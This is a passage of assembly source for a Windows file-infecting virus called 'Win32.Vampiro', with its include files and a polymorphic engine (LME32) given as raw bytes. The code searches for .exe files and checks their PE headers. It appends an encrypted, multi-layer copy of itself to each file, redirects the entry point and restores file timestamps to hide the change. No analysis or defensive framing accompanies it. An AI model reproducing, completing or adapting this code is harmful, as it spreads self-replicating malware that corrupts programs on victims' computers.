mov 4 ptr fs:[eax], esp
|
||||
mov eax, [esp+11*4]
|
||||
sub ax, ax
|
||||
__5:
|
||||
cmp 2 ptr [eax], 'ZM'
|
||||
jz __4
|
||||
sub eax, 10000h
|
||||
jmp __5
|
||||
__4:
|
||||
mov 4 ptr [ebp.k32], eax
|
||||
call import
|
||||
push 0
|
||||
call [ebp.GetModuleHandleA]
|
||||
add [ebp.host32_1], eax
|
||||
call restore
|
||||
sub esp, 16
|
||||
push esp
|
||||
call [ebp.GetSystemTime]
|
||||
mov eax, esp
|
||||
push eax eax esp eax
|
||||
call [ebp.SystemTimeToFileTime]
|
||||
mov eax, [esp]
|
||||
xor eax, [esp.4]
|
||||
add esp, 24
|
||||
mov [ebp.seed], eax
|
||||
lea eax, [ebp.rnd]
|
||||
mov 4 ptr [ebp.lme32_random], eax
|
||||
push _vl 0
|
||||
call [ebp.GlobalAlloc]
|
||||
push eax
|
||||
xchg eax, edi
|
||||
lea esi, [ebp.start]
|
||||
mov ecx, vl
|
||||
lea eax, [ebp+__exit]
|
||||
push eax
|
||||
lea eax, [edi+__next-start]
|
||||
push eax
|
||||
rep movsb
|
||||
ret
|
||||
__next:
|
||||
call get_delta
|
||||
sub esp, size find_str
|
||||
mov esi, esp
|
||||
sub edi, edi
|
||||
push esi ;;; hehe
|
||||
lea eax, [ebp+mask]
|
||||
push eax
|
||||
call [ebp+FindFirstFileA]
|
||||
cmp eax, -1
|
||||
jz __1
|
||||
__2:
|
||||
push eax
|
||||
push edi
|
||||
push esi
|
||||
lea edx, [esi.cFileName]
|
||||
call infect_it
|
||||
pop esi
|
||||
push esi
|
||||
push 4 ptr [esp.8]
|
||||
call [ebp+FindNextFileA]
|
||||
pop edi
|
||||
inc edi
|
||||
cmp edi, 50
|
||||
ja __3
|
||||
test eax, eax
|
||||
pop eax
|
||||
jnz __2
|
||||
push eax
|
||||
__3:
|
||||
call [ebp+FindClose]
|
||||
__1:
|
||||
add esp, size find_str
|
||||
ret
|
||||
__exit:
|
||||
call [ebp.GlobalFree]
|
||||
exit:
|
||||
pop 4 ptr fs:[0]
|
||||
pop eax
|
||||
popad
|
||||
popf
|
||||
db 68h
|
||||
host32_1 dd offset host32-400000h
|
||||
ret
|
||||
endp
|
||||
|
||||
mask db '*.exe',0
|
||||
|
||||
restore proc
|
||||
push 0 5
|
||||
call __1
|
||||
saved:
|
||||
dd 90909090h
|
||||
db 90h
|
||||
__1:
|
||||
mov eax, [ebp.host32_1]
|
||||
push eax
|
||||
call [ebp.GetCurrentProcess]
|
||||
push eax
|
||||
call [ebp.WriteProcessMemory]
|
||||
ret
|
||||
endp
|
||||
|
||||
Vampiro db 'Vampiro',0
|
||||
|
||||
import_table:
|
||||
import_beg kernel32
|
||||
import_nam _lopen
|
||||
import_nam ReadFile
|
||||
import_nam WriteFile
|
||||
import_nam CloseHandle
|
||||
import_nam SetFileAttributesA
|
||||
import_nam GetFileAttributesA
|
||||
import_nam GetFileTime
|
||||
import_nam SetFileTime
|
||||
import_nam SetEndOfFile
|
||||
import_nam GetFileSize
|
||||
import_nam SetFilePointer
|
||||
import_nam SystemTimeToFileTime
|
||||
import_nam GetSystemTime
|
||||
import_nam WriteProcessMemory
|
||||
import_nam GetCurrentProcess
|
||||
import_nam GlobalAlloc
|
||||
import_nam GlobalFree
|
||||
import_nam FindClose
|
||||
import_nam FindFirstFileA
|
||||
import_nam FindNextFileA
|
||||
import_end
|
||||
import_end
|
||||
|
||||
get_delta proc
|
||||
call $+5
|
||||
delta:
|
||||
cld
|
||||
pop ebp
|
||||
sub ebp, offset delta
|
||||
ret
|
||||
endp
|
||||
|
||||
include import.inc
|
||||
|
||||
infect_it proc
|
||||
call __set_seh
|
||||
mov esp, [esp.8]
|
||||
jmp __1
|
||||
__set_seh:
|
||||
cld
|
||||
sub eax, eax
|
||||
push 4 ptr fs:[eax]
|
||||
mov 4 ptr fs:[eax], esp
|
||||
call infect
|
||||
__1:
|
||||
pop 4 ptr fs:[0]
|
||||
pop eax
|
||||
ret
|
||||
endp
|
||||
|
||||
infect proc
|
||||
; edx - name
|
||||
call fattrg
|
||||
cmp eax, -1
|
||||
jnz __1
|
||||
__2:
|
||||
ret
|
||||
__1: sub ecx, ecx
|
||||
xchg eax, ecx
|
||||
call fattrs
|
||||
test eax, eax
|
||||
jz __2
|
||||
push 2
|
||||
pop eax
|
||||
call open
|
||||
cmp eax, -1
|
||||
xchg eax, ebx
|
||||
jz __2
|
||||
push ecx
|
||||
sub esp, 3*8
|
||||
mov esi, esp
|
||||
push edx
|
||||
call gettime
|
||||
lea edx, [ebp.buffer]
|
||||
push 3Ch+4
|
||||
pop ecx
|
||||
call read
|
||||
jc __close
|
||||
cmp 2 ptr [edx], 'ZM'
|
||||
jnz __close
|
||||
cmp 2 ptr [edx.18h], 40h
|
||||
jb __close
|
||||
push edx
|
||||
movzx edx, 2 ptr [edx.3Ch]
|
||||
mov [ebp.word3C], edx
|
||||
call seek
|
||||
pop edx
|
||||
mov ecx, 0F8h + (28h*8)
|
||||
call read
|
||||
jc __close
|
||||
cmp 2 ptr [edx], 'EP'
|
||||
jnz __close
|
||||
; dll ? if i process dll then skip
|
||||
; this test
|
||||
test 2 ptr [edx.16h], 2000h
|
||||
jnz __close
|
||||
; can run ?
|
||||
test 2 ptr [edx.16h], 0002h
|
||||
jz __close
|
||||
; intel x86 processor ?
|
||||
mov al, [edx.4]
|
||||
and al, 11110000b
|
||||
cmp al, 40h
|
||||
jnz __close
|
||||
; 2..8 sections ?
|
||||
cmp 2 ptr [edx.06h], 8
|
||||
ja __close
|
||||
cmp 2 ptr [edx.06h], 2
|
||||
jb __close
|
||||
; it's already ?
|
||||
mov al, 2Eh
|
||||
cmp 1 ptr [edx.44h], al
|
||||
jz __close
|
||||
mov 1 ptr [edx.44h], al
|
||||
; save EIP
|
||||
mov eax, [edx.28h]
|
||||
mov [ebp.host32_1], eax
|
||||
mov eax, 1000h
|
||||
cmp [edx.38h], eax
|
||||
ja __close
|
||||
cmp [edx.3Ch], eax
|
||||
ja __close
|
||||
lea edi, [ebp.buff]
|
||||
mov ecx, (len_buff)/4
|
||||
sub eax, eax
|
||||
call rnd
|
||||
__loop:
|
||||
sub al, cl
|
||||
rol eax, 1
|
||||
stosd
|
||||
loop __loop
|
||||
; ecx - null
|
||||
mov 4 ptr [edx.58h], ecx
|
||||
call process_it
|
||||
__close:
|
||||
pop edx
|
||||
mov esi, esp
|
||||
call settime
|
||||
add esp, 3*8
|
||||
call close
|
||||
pop eax
|
||||
call fattrs
|
||||
ret
|
||||
endp
|
||||
|
||||
process_it proc
|
||||
movzx eax, 2 ptr [edx.14h]
|
||||
cmp al, 0E0h
|
||||
jnz __1
|
||||
lea edi, [eax+18h+edx]
|
||||
movzx ecx, 2 ptr [edx.6]
|
||||
__loop:
|
||||
; check file
|
||||
mov esi, [edx.28h]
|
||||
cmp 4 ptr [edi.0Ch], esi
|
||||
ja __4
|
||||
push eax
|
||||
mov eax, 4 ptr [edi.0Ch]
|
||||
add eax, 4 ptr [edi.10h]
|
||||
cmp esi, eax
|
||||
pop eax
|
||||
jb __5
|
||||
__4:
|
||||
add edi, 28h
|
||||
loop __loop
|
||||
jmp __1
|
||||
__5: test 1 ptr [edi.27h], 80h
|
||||
jnz __1
|
||||
; read from IP some bytes
|
||||
; for UEP
|
||||
lea esi, [eax+18h+edx]
|
||||
push edx
|
||||
mov eax, [edx.028h]
|
||||
sub eax, [edi.0Ch]
|
||||
add eax, [edi.14h]
|
||||
mov 4 ptr [ebp.forUEP], eax
|
||||
xchg eax, edx
|
||||
call seek
|
||||
lea edx, [ebp.UEP]
|
||||
mov ecx, size_UEP
|
||||
call read
|
||||
pop edx
|
||||
jc __1
|
||||
movzx eax, 2 ptr [edx.6]
|
||||
dec eax
|
||||
imul eax, eax, 28h
|
||||
add esi, eax
|
||||
mov edi, [esi.14h]
|
||||
add edi, [esi.10h]
|
||||
call fsize
|
||||
cmp eax, edi
|
||||
jz __2
|
||||
push edx
|
||||
mov edx, edi
|
||||
call seek
|
||||
push eax
|
||||
mov edx, esp
|
||||
push 4
|
||||
pop ecx
|
||||
call read
|
||||
pop eax
|
||||
cmp eax, 1
|
||||
jz __3
|
||||
call fsize
|
||||
sub eax, edi
|
||||
cmp eax, 100h ; 256 bytes only
|
||||
; if yes then skip it ;)
|
||||
jb __3
|
||||
pop eax
|
||||
jmp __1
|
||||
__3:
|
||||
mov edx, edi
|
||||
call seek
|
||||
call truncate
|
||||
pop edx
|
||||
__2: mov [ebp.flen], edi
|
||||
or 1 ptr [esi.24h+3], 0C0h
|
||||
|
||||
lea edi, [ebp.UEP]
|
||||
mov eax, [edi]
|
||||
mov 4 ptr [ebp.saved], eax
|
||||
mov al, [edi.4]
|
||||
mov 1 ptr [ebp.saved+4], al
|
||||
mov al, 0E9h
|
||||
stosb
|
||||
mov eax, 4 ptr [esi.10h]
|
||||
add eax, 4 ptr [esi.0Ch]
|
||||
sub eax, 4 ptr [ebp.host32_1]
|
||||
sub eax, 5
|
||||
stosd
|
||||
; max 11 layers!
|
||||
push esi
|
||||
; gen 1 layer
|
||||
lea esi, [ebp.start]
|
||||
lea edi, [ebp.buff]
|
||||
mov ecx, vl
|
||||
call lme32
|
||||
; max 10 layer
|
||||
; 2..10
|
||||
push eax
|
||||
push 5
|
||||
pop eax
|
||||
call rnd
|
||||
inc eax
|
||||
shl eax, 1
|
||||
xchg eax, ecx
|
||||
; gen next layers
|
||||
pop eax
|
||||
__8:
|
||||
push ecx
|
||||
; 1 layer <-|
|
||||
; 2 layer ---|
|
||||
mov esi, edi
|
||||
add edi, eax
|
||||
xchg eax, ecx
|
||||
call lme32
|
||||
xchg esi, edi
|
||||
xchg eax, ecx
|
||||
call lme32
|
||||
; edi - 1 layer
|
||||
; esi - 2 layer
|
||||
; eax - length
|
||||
pop ecx
|
||||
loop __8
|
||||
pop esi
|
||||
dec edi
|
||||
dec edi
|
||||
mov 2 ptr [edi], 609Ch
|
||||
add eax, 8
|
||||
xchg eax, edi
|
||||
push eax
|
||||
; edi - virus length
|
||||
mov eax, edi
|
||||
add eax, [edx.3Ch]
|
||||
add eax, [esi.10h]
|
||||
mov ecx, [edx.3Ch]
|
||||
neg ecx
|
||||
and eax, ecx
|
||||
mov [esi.10h], eax
|
||||
cmp [esi.08h], eax
|
||||
ja __x
|
||||
mov [esi.08h], eax
|
||||
__x: mov eax, [esi.08h]
|
||||
add eax, [esi.0Ch]
|
||||
add eax, [edx.38h]
|
||||
mov ecx, [edx.38h]
|
||||
neg ecx
|
||||
and eax, ecx
|
||||
mov [edx.50h], eax
|
||||
call fsize
|
||||
xchg eax, edx
|
||||
call seek
|
||||
pop edx
|
||||
push -1
|
||||
pop eax
|
||||
call rnd
|
||||
db 0BFh
|
||||
flen dd 0
|
||||
mov ecx, [esi.10h]
|
||||
add ecx, [esi.14h]
|
||||
sub ecx, edi
|
||||
mov 1 ptr [ecx+edx-6], al
|
||||
xor al, 'V'
|
||||
mov 1 ptr [ecx+edx-6+1], al
|
||||
mov 4 ptr [ecx+edx-6+2], edi
|
||||
call write
|
||||
mov edx, [ebp.forUEP]
|
||||
call seek
|
||||
lea edx, [ebp.UEP]
|
||||
mov ecx, size_UEP
|
||||
call write
|
||||
mov edx, [ebp.word3C]
|
||||
call seek
|
||||
lea edx, [ebp.buffer]
|
||||
mov ecx, 0F8h + (28h*8)
|
||||
call write
|
||||
__1:
|
||||
ret
|
||||
endp
|
||||
|
||||
rnd proc
|
||||
push ebp
|
||||
push edx ecx eax
|
||||
call $+5
|
||||
$delta:
|
||||
pop ebp
|
||||
sub ebp, offset $delta
|
||||
db 0B8h
|
||||
seed dd ?
|
||||
imul eax, eax, 8088405h
|
||||
inc eax
|
||||
mov [ebp.seed], eax
|
||||
pop ecx
|
||||
jecxz __1
|
||||
xor edx, edx
|
||||
div ecx
|
||||
xchg eax, edx
|
||||
__1:
|
||||
pop ecx edx
|
||||
pop ebp
|
||||
ret
|
||||
endp
|
||||
|
||||
include fio.inc
|
||||
include lme32.inc
|
||||
|
||||
vl equ ($-start)
|
||||
|
||||
buff:
|
||||
db (11*2000)+vl*2 dup (?)
|
||||
db 1000h dup (?)
|
||||
len_buff equ $-buff
|
||||
buffer db 0F8h + (28h*8) dup (?)
|
||||
word3C dd ?
|
||||
size_UEP equ 5
|
||||
UEP db size_UEP dup (?)
|
||||
forUEP dd ?
|
||||
|
||||
_vl equ ($-start)
|
||||
|
||||
.code
|
||||
host32:
|
||||
db 0E9h
|
||||
dd 0
|
||||
push 0
|
||||
zcall ExitProcess
|
||||
db 'Win32.Vampiro.'
|
||||
db vl / 1000 mod 10 + '0'
|
||||
db vl / 100 mod 10 + '0'
|
||||
db vl / 10 mod 10 + '0'
|
||||
db vl / 1 mod 10 + '0'
|
||||
real_start:
|
||||
pushf
|
||||
pusha
|
||||
jmp start
|
||||
end real_start
|
||||
|
||||
--[1.inc]--------------------------------------------------------------------->8
|
||||
|
||||
zcall macro api
|
||||
extrn api: proc
|
||||
call api
|
||||
endm
|
||||
|
||||
CRC32_init equ 0EDB88320h
|
||||
CRC32_num equ 0FFFFFFFFh
|
||||
|
||||
CRC32_eax macro string
|
||||
db 0B8h
|
||||
CRC32 string
|
||||
endm
|
||||
|
||||
CRC32 macro string
|
||||
crcReg = CRC32_num
|
||||
irpc _x,<string>
|
||||
ctrlByte = '&_x&' xor (crcReg and 0FFh)
|
||||
crcReg = crcReg shr 8
|
||||
rept 8
|
||||
ctrlByte = (ctrlByte shr 1) xor (CRC32_init * (ctrlByte and 1))
|
||||
endm
|
||||
crcReg = crcReg xor ctrlByte
|
||||
endm
|
||||
dd crcReg
|
||||
endm
|
||||
|
||||
import_beg macro kernel
|
||||
db '&kernel&',0
|
||||
endm
|
||||
import_nam macro name
|
||||
CRC32 &name&
|
||||
local b
|
||||
b=0
|
||||
irpc a,<name>
|
||||
IF b EQ 0
|
||||
db '&a&'
|
||||
ENDIF
|
||||
b=b+1
|
||||
endm
|
||||
&name& dd 0
|
||||
endm
|
||||
import_end macro
|
||||
dd 0
|
||||
endm
|
||||
|
||||
MAX_PATH = 260
|
||||
|
||||
find_str struc
|
||||
dwFileAttributes dd ?
|
||||
ftCreationTime dq ?
|
||||
ftLastAccessTime dq ?
|
||||
ftLastWriteTime dq ?
|
||||
nFileSizeHigh dd ?
|
||||
nFileSizeLow dd ?
|
||||
dwReserved0 dd ?
|
||||
dwReserved1 dd ?
|
||||
cFileName db MAX_PATH dup (?)
|
||||
cAlternateFileName db 14 dup (?)
|
||||
ends
|
||||
|
||||
unicode macro text
|
||||
irpc _x,<text>
|
||||
db '&_x&',0
|
||||
endm
|
||||
db 0,0
|
||||
endm
|
||||
|
||||
hook macro name
|
||||
local b
|
||||
b=0
|
||||
irpc a,<name>
|
||||
IF b EQ 0
|
||||
db '&a&'
|
||||
ENDIF
|
||||
b=b+1
|
||||
endm
|
||||
CRC32 &name&
|
||||
dw offset h&name&-start
|
||||
dw offset _&name&-start
|
||||
endm
|
||||
|
||||
dtime struc
|
||||
wYear dw ?
|
||||
wMonth dw ?
|
||||
wDayOfWeek dw ?
|
||||
wDay dw ?
|
||||
wHour dw ?
|
||||
wMinute dw ?
|
||||
wSecond dw ?
|
||||
wMilliseconds dw ?
|
||||
ends
|
||||
|
||||
--[import.inc]---------------------------------------------------------------->8
|
||||
|
||||
get_proc proc
|
||||
push ebp
|
||||
; in:
|
||||
; eax - CRC32
|
||||
; ebx - DLL offset
|
||||
; dl - first char
|
||||
; out:
|
||||
; eax - API address
|
||||
; [ecx+ebx] - offset API address in table
|
||||
; ebx - offset DLL
|
||||
mov edi, [ebx+3Ch]
|
||||
mov edi, [edi+78h+ebx]
|
||||
mov ecx, [edi+18h+ebx]
|
||||
mov esi, [edi+20h+ebx]
|
||||
__1:
|
||||
mov ebp, [esi+ebx]
|
||||
add ebp, ebx
|
||||
cmp 1 ptr [ebp], dl
|
||||
jnz __2
|
||||
push ebx ecx
|
||||
; use ebx, ecx
|
||||
; ebp - offset to name'z
|
||||
xor ebx, ebx
|
||||
dec ebx
|
||||
__5:
|
||||
xor bl, 1 ptr [ebp]
|
||||
inc ebp
|
||||
mov cl, 7
|
||||
__3:
|
||||
shr ebx, 1
|
||||
jnc __4
|
||||
xor ebx, CRC32_init
|
||||
__4:
|
||||
dec cl
|
||||
jns __3
|
||||
cmp 1 ptr [ebp], 0
|
||||
jnz __5
|
||||
cmp eax, ebx
|
||||
pop ecx ebx
|
||||
jz __6
|
||||
__2:
|
||||
add esi, 4
|
||||
loop __1
|
||||
__6:
|
||||
sub ecx, [edi+18h+ebx]
|
||||
neg ecx
|
||||
add ecx, ecx
|
||||
add ecx, [edi+24h+ebx]
|
||||
add ecx, ebx
|
||||
movzx ecx, 2 ptr [ecx]
|
||||
shl ecx, 2
|
||||
add ecx, [edi+1Ch+ebx]
|
||||
mov eax, [ecx+ebx]
|
||||
add eax, ebx
|
||||
pop ebp
|
||||
ret
|
||||
endp
|
||||
|
||||
import proc
|
||||
mov ebx, [ebp.k32]
|
||||
CRC32_eax GetModuleHandleA
|
||||
mov dl, 'G'
|
||||
call get_proc
|
||||
mov [ebp.GetModuleHandleA], eax
|
||||
CRC32_eax LoadLibraryA
|
||||
mov dl, 'L'
|
||||
call get_proc
|
||||
mov [ebp.LoadLibraryA], eax
|
||||
lea esi, [ebp.import_table]
|
||||
__1:
|
||||
push esi
|
||||
call [ebp.GetModuleHandleA]
|
||||
test eax, eax
|
||||
jnz __2
|
||||
; if library not load ...
|
||||
push esi
|
||||
call [ebp.LoadLibraryA]
|
||||
__2:
|
||||
xchg eax, ebx
|
||||
__3:
|
||||
lodsb
|
||||
test al, al
|
||||
jnz __3
|
||||
__4:
|
||||
lodsd
|
||||
test eax, eax
|
||||
jz __5
|
||||
mov dl, [esi]
|
||||
inc esi
|
||||
push esi
|
||||
call get_proc
|
||||
pop edi
|
||||
stosd
|
||||
mov esi, edi
|
||||
jmp __4
|
||||
__5:
|
||||
cmp [esi], eax
|
||||
jnz __1
|
||||
ret
|
||||
endp
|
||||
|
||||
GetModuleHandleA dd 0
|
||||
LoadLibraryA dd 0
|
||||
k32 dd 0BFF70000h
|
||||
|
||||
--[fio.inc]------------------------------------------------------------------->8
|
||||
|
||||
truncate proc
|
||||
pushad
|
||||
push ebx
|
||||
call [ebp.SetEndOfFile]
|
||||
jmp n_chk
|
||||
endp
|
||||
|
||||
|
||||
fsize proc
|
||||
pushad
|
||||
push 0 ebx
|
||||
call [ebp.GetFileSize]
|
||||
jmp n_chk
|
||||
endp
|
||||
|
||||
|
||||
gettime proc
|
||||
pushad
|
||||
; esi - addres struc
|
||||
;
|
||||
; CONST FILETIME * lpftLastWrite // time the file was last written
|
||||
; CONST FILETIME * lpftLastAccess, // time the file was last accessed
|
||||
; CONST FILETIME * lpftCreation, // time the file was created
|
||||
;
|
||||
; filetime struc
|
||||
; dwLowDateTime dd ?
|
||||
; dwHighDateTime dd ?
|
||||
; ends
|
||||
push esi
|
||||
lodsd
|
||||
lodsd
|
||||
push esi
|
||||
lodsd
|
||||
lodsd
|
||||
push esi ebx
|
||||
call [ebp.GetFileTime]
|
||||
jmp n_chk
|
||||
endp
|
||||
|
||||
|
||||
settime proc
|
||||
pushad
|
||||
; esi - addres struc
|
||||
;
|
||||
; CONST FILETIME * lpftLastWrite // time the file was last written
|
||||
; CONST FILETIME * lpftLastAccess, // time the file was last accessed
|
||||
; CONST FILETIME * lpftCreation, // time the file was created
|
||||
;
|
||||
; filetime struc
|
||||
; dwLowDateTime dd ?
|
||||
; dwHighDateTime dd ?
|
||||
; ends
|
||||
push esi
|
||||
lodsd
|
||||
lodsd
|
||||
push esi
|
||||
lodsd
|
||||
lodsd
|
||||
push esi ebx
|
||||
call [ebp.SetFileTime]
|
||||
jmp n_chk
|
||||
endp
|
||||
|
||||
fattrs proc
|
||||
pushad
|
||||
push eax edx
|
||||
call [ebp.SetFileAttributesA]
|
||||
jmp n_chk
|
||||
endp
|
||||
|
||||
fattrg proc
|
||||
pushad
|
||||
push edx
|
||||
call [ebp.GetFileAttributesA]
|
||||
jmp n_chk
|
||||
endp
|
||||
|
||||
open proc
|
||||
pushad
|
||||
; eax - mode
|
||||
; edx - name
|
||||
;
|
||||
; OF_READ Opens the file for reading only.
|
||||
; OF_READWRITE Opens the file for reading and writing.
|
||||
; OF_WRITE Opens the file for writing only.
|
||||
push eax edx
|
||||
call [ebp._lopen]
|
||||
n_chk:
|
||||
mov [esp.1Ch], eax
|
||||
popad
|
||||
ret
|
||||
endp
|
||||
|
||||
close proc
|
||||
pushad
|
||||
push ebx
|
||||
call [ebp.CloseHandle]
|
||||
popad
|
||||
ret
|
||||
endp
|
||||
|
||||
write proc
|
||||
pushad
|
||||
push eax
|
||||
mov eax, esp
|
||||
push 0
|
||||
push eax
|
||||
push ecx edx ebx
|
||||
call [ebp.WriteFile]
|
||||
jmp n_check
|
||||
endp
|
||||
|
||||
read proc
|
||||
; ecx - length
|
||||
; ebx - handle
|
||||
; edx - buffer
|
||||
pushad
|
||||
push eax
|
||||
mov eax, esp
|
||||
push 0
|
||||
push eax
|
||||
push ecx edx ebx
|
||||
call [ebp.ReadFile]
|
||||
n_check:
|
||||
pop eax
|
||||
mov [esp.1Ch], eax
|
||||
popad
|
||||
cmp eax, ecx
|
||||
jz __1
|
||||
stc
|
||||
__1:
|
||||
ret
|
||||
endp
|
||||
|
||||
seek proc
|
||||
pushad
|
||||
push 0 0 edx ebx
|
||||
call [ebp.SetFilePointer]
|
||||
jmp n_chk
|
||||
endp
|
||||
|
||||
--[lme32.inc]----------------------------------------------------------------->8
|
||||
|
||||
; LME32 v.1.0
|
||||
;
|
||||
; ECX - length
|
||||
; EDI - buffer
|
||||
; ESI - source
|
||||
;
|
||||
; must be in r/w section
|
||||
|
||||
lme32:
|
||||
db 060h,0E8h,00Fh,000h,000h,000h
|
||||
lme32_random dd 0
|
||||
db 05Bh,04Ch,04Dh,045h
|
||||
db 033h,032h,02Eh,031h,031h,037h,033h,05Dh,081h,0EDh,006h,020h,040h,000h
|
||||
db 0C1h,0E9h,002h,041h,089h,08Dh,0D3h,021h,040h,000h,089h,0BDh,0E5h,021h
|
||||
db 040h,000h,089h,0B5h,0CEh,021h,040h,000h,0C7h,085h,025h,022h,040h,000h
|
||||
db 0EFh,000h,000h,000h,08Dh,0B5h,030h,022h,040h,000h,0E8h,00Fh,003h,000h
|
||||
db 000h,0B0h,003h,0FFh,0D6h,040h,091h,051h,0E8h,070h,002h,000h,000h,059h
|
||||
db 0E2h,0F7h,0B0h,0E8h,0AAh,02Bh,0C0h,0ABh,08Bh,0C7h,02Bh,085h,0E5h,021h
|
||||
db 040h,000h,089h,085h,0BCh,021h,040h,000h,0E8h,0E7h,002h,000h,000h,0E8h
|
||||
db 0ABh,001h,000h,000h,088h,085h,046h,021h,040h,000h,050h,00Fh,0B6h,0C0h
|
||||
db 00Fh,0B3h,085h,025h,022h,040h,000h,058h,00Ch,058h,0AAh,0E8h,091h,001h
|
||||
db 000h,000h,050h,00Fh,0B6h,0C0h,00Fh,0B3h,085h,025h,022h,040h,000h,058h
|
||||
db 088h,085h,077h,021h,040h,000h,08Bh,095h,0D3h,021h,040h,000h,0E8h,053h
|
||||
db 001h,000h,000h,0E8h,0A6h,002h,000h,000h,0E8h,0B1h,002h,000h,000h,06Ah
|
||||
db 0FFh,058h,0FFh,095h,006h,020h,040h,000h,089h,085h,0E1h,020h,040h,000h
|
||||
db 0B0h,081h,0AAh,0E8h,04Ah,001h,000h,000h,0B0h,0E8h,074h,002h,0B0h,0C0h
|
||||
db 09Ch,00Ah,085h,046h,021h,040h,000h,0AAh,089h,0BDh,082h,021h,040h,000h
|
||||
db 0B8h,064h,022h,002h,002h,0ABh,09Dh,074h,006h,0F7h,09Dh,0E1h,020h,040h
|
||||
db 000h,0E8h,062h,002h,000h,000h,0B0h,003h,0FFh,0D6h,003h,0C0h,08Bh,09Ch
|
||||
db 005h,0F5h,021h,040h,000h,066h,089h,09Dh,0DDh,021h,040h,000h,08Bh,084h
|
||||
db 005h,0EFh,021h,040h,000h,00Ah,0A5h,046h,021h,040h,000h,066h,0ABh,089h
|
||||
db 0BDh,0C7h,021h,040h,000h,0ABh,06Ah,0FFh,058h,0FFh,095h,006h,020h,040h
|
||||
db 000h,089h,085h,0D8h,021h,040h,000h,0ABh,0E8h,023h,002h,000h,000h,0B0h
|
||||
db 083h,0AAh,0E8h,0DBh,000h,000h,000h,066h,0B8h,0C0h,004h,074h,004h,066h
|
||||
db 0B8h,0E8h,0FCh,00Ch,003h,066h,0ABh,0E8h,008h,002h,000h,000h,0B0h,048h
|
||||
db 00Ah,085h,077h,021h,040h,000h,0AAh,0E8h,0FAh,001h,000h,000h,0E8h,005h
|
||||
db 002h,000h,000h,0B0h,003h,0FFh,0D6h,08Dh,09Dh,0FBh,021h,040h,000h,0D7h
|
||||
db 0AAh,08Ah,085h,077h,021h,040h,000h,0C0h,0E0h,003h,00Ch,000h,00Ch,0C0h
|
||||
db 0AAh,066h,0B8h,00Fh,085h,066h,0ABh,0B8h,0E0h,098h,040h,000h,02Bh,0C7h
|
||||
db 0ABh,050h,00Fh,0B6h,085h,046h,021h,040h,000h,00Fh,0ABh,085h,025h,022h
|
||||
db 040h,000h,058h,050h,00Fh,0B6h,085h,077h,021h,040h,000h,00Fh,0ABh,085h
|
||||
db 025h,022h,040h,000h,058h,0E8h,0A8h,001h,000h,000h,0E8h,0B3h,001h,000h
|
||||
db 000h,08Bh,0C7h,02Bh,085h,0E5h,021h,040h,000h,02Dh,030h,002h,000h,000h
|
||||
db 003h,085h,0E1h,020h,040h,000h,0BAh,0F8h,098h,040h,000h,089h,002h,0BEh
|
||||
db 02Bh,082h,040h,000h,0B9h,015h,005h,000h,000h,0BAh,084h,056h,0BAh,05Ah
|
||||
db 0ADh,003h,0C2h,0ABh,0E2h,0FAh,08Bh,0C7h,02Dh,07Dh,096h,040h,000h,089h
|
||||
db 044h,024h,01Ch,061h,0C3h,081h,0B0h,081h,080h,081h,0A8h,033h,0C2h,02Bh
|
||||
db 0C2h,003h,0C2h,085h,023h,00Bh,0E8h,013h,000h,000h,000h,074h,006h,00Ch
|
||||
db 0B8h,0AAh,092h,0ABh,0C3h,050h,0B0h,068h,0AAh,092h,0ABh,058h,00Ch,058h
|
||||
db 0AAh,0C3h,050h,0B0h,002h,0FFh,0D6h,085h,0C0h,058h,0C3h,053h,0B0h,008h
|
||||
db 0FFh,0D6h,0BBh,0EFh,000h,000h,000h,00Fh,0A3h,0C3h,073h,0F2h,05Bh,0C3h
|
||||
db 00Fh,0B6h,0C0h,0FFh,0A5h,006h,020h,040h,000h,080h,0CCh,0C0h,0C0h,0E0h
|
||||
db 003h,00Ah,0C4h,0AAh,0C3h,008h,047h,0FFh,0C3h,00Ch,0C0h,0AAh,0B0h,008h
|
||||
db 0FFh,0D6h,03Ch,006h,074h,0F8h,0C0h,0E0h,003h,008h,047h,0FFh,0C3h,00Ch
|
||||
db 0C0h,0C0h,0E4h,003h,00Ah,0C4h,0AAh,0B0h,0FFh,0FFh,0D6h,0AAh,0C3h,08Bh
|
||||
db 039h,002h,07Fh,0B7h,039h,002h,040h,0BFh,039h,002h,040h,087h,039h,002h
|
||||
db 0BFh,003h,039h,002h,07Fh,013h,039h,002h,07Fh,023h,039h,002h,07Fh,00Bh
|
||||
db 039h,002h,07Fh,02Bh,039h,002h,07Fh,01Bh,039h,002h,07Fh,033h,039h,002h
|
||||
db 07Fh,040h,043h,002h,07Fh,048h,043h,002h,07Fh,039h,039h,002h,03Fh,085h
|
||||
db 039h,002h,03Fh,0D1h,047h,002h,07Fh,0D3h,047h,002h,07Fh,0A4h,059h,002h
|
||||
db 040h,0ACh,059h,002h,040h,0C8h,043h,002h,040h,0ABh,039h,002h,080h,0B3h
|
||||
db 039h,002h,080h,0BBh,039h,002h,080h,0E8h,09Eh,000h,000h,000h,0B8h,064h
|
||||
db 067h,0FFh,036h,0ABh,02Bh,0C0h,066h,0ABh,0E8h,07Fh,000h,000h,000h,0E8h
|
||||
db 08Ah,000h,000h,000h,0B0h,0E8h,0AAh,0ABh,057h,0E8h,070h,000h,000h,000h
|
||||
db 0E8h,07Bh,000h,000h,000h,0B8h,064h,067h,08Fh,006h,0ABh,02Bh,0C0h,066h
|
||||
db 0ABh,0E8h,05Ch,000h,000h,000h,0E8h,067h,000h,000h,000h,0B0h,0E9h,0AAh
|
||||
db 0ABh,08Bh,0D7h,0E8h,04Ch,000h,000h,000h,0E8h,057h,000h,000h,000h,058h
|
||||
db 08Bh,0DFh,02Bh,0D8h,089h,058h,0FCh,0E8h,03Ah,000h,000h,000h,0E8h,045h
|
||||
db 000h,000h,000h,0B8h,064h,067h,08Fh,006h,0ABh,02Bh,0C0h,066h,0ABh,0E8h
|
||||
db 026h,000h,000h,000h,0E8h,031h,000h,000h,000h,0B8h,064h,067h,0FFh,026h
|
||||
db 0ABh,02Bh,0C0h,066h,0ABh,0E8h,012h,000h,000h,000h,0B0h,0FFh,0FFh,0D6h
|
||||
db 0AAh,0E8h,008h,000h,000h,000h,08Bh,0C7h,02Bh,0C2h,089h,042h,0FCh,0C3h
|
||||
db 0B0h,005h,0FFh,0D6h,040h,091h,051h,0E8h,013h,000h,000h,000h,059h,0E2h
|
||||
db 0F7h,0C3h,080h,0BDh,07Eh,023h,040h,000h,001h,075h,005h,0E8h,009h,000h
|
||||
db 000h,000h,0C3h,0B0h,004h,0FFh,0D6h,022h,0C0h,075h,049h,0B0h,000h,084h
|
||||
